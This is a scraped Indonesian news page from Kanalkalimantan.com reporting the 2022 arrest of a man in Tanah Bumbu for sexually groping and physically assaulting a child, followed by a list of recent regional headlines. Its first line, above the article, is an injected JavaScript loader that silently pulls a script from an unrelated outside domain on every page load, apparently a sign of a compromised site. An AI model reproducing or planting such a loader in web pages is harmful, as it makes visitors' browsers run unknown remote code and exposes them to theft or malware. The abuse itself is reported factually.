(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Upaya Gerayangi Anak hingga Tendang Kemaluan, Pria di Tanbu Dibekuk Polisi


KANALKALIMANTAN.COM, BATULICIN – Unit Resmob Satreskrim Polres Tanah Bumbu bersama Unit Kamneg Sat Intelkam membekuk seorang pria terduga pelaku tindak pidana kekerasan terhadap anak.

Adalah M (39), warga Jalan Ansoka, Desa Sepunggur, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu, harus meringkuk di tahanan.

“M diamankan tim gabungan pada Senin (10/10/2022) sore di kediamannya,” ungkap Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP I Made.

Kasi Humas mengungkapkan, penangkapan M berawal dari adanya laporan dari orangtua korban yang mengaku anaknya dianiaya oleh pelaku.

 

Baca juga  : Longsor Jalan Nasional di KM 171 Satui Lambat Ditangani, Bupati Zairullah Ambil Alih

Penganiayan terjadi pada Sabtu 17 September 2022, saat M datang dengan keluarga dari suami pelapor, malam pukul 19.00 Wita.

Malam tersebut korban lagi tidur merasa dipegang di tangan, kemudian terbangun dan orang tersebut sudah ada di sampingnya.

“Hari ketiga M kembali menggerayangi kemaluan korban, dan korban terbangun, korban terus menolak untuk dipegang, M marah mengatakan kata kasar seperti kepada korban,” sambungnya.

Kemudian pada Selasa 20 september 2022 Pukul 13.00 Wita, secara tiba-tiba pelaku menendang alat kelamin satu kali.

 

Baca juga  : Sengaja Bawa Anak Perlihatkan Budaya 34 Provinsi di Pawai Ta’aruf MTQ Nasional XXIX

Selain itu korban juga dicekik di bagian leher, dan memukul kepala sebelah kanan korban, kemudian kepala korban di tendang sebanyak satu kali dengan keras.

“Setelah korban menangis dan teriak, lalu tante korban keluar dari dapur, diketahui pelaku kabur dari tempat kejadian,” tuturnya.

Atas kejadian tersebut pelapor merasa keberatan dan melaporkan kejadian tersebut ke Polres Tanah Bumbu guna proses lebih lanjut.

Tindakan M ini dijerat hukum sebagaimana yang dimaksud dalam UU NO. 35 Tahun 2014 Tentang Perubahan UU Nomor 23 Tahun 2002 Tentang Perlindungan Anak Pasal 81. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Desy Arfianty

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

5 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

19 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

21 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.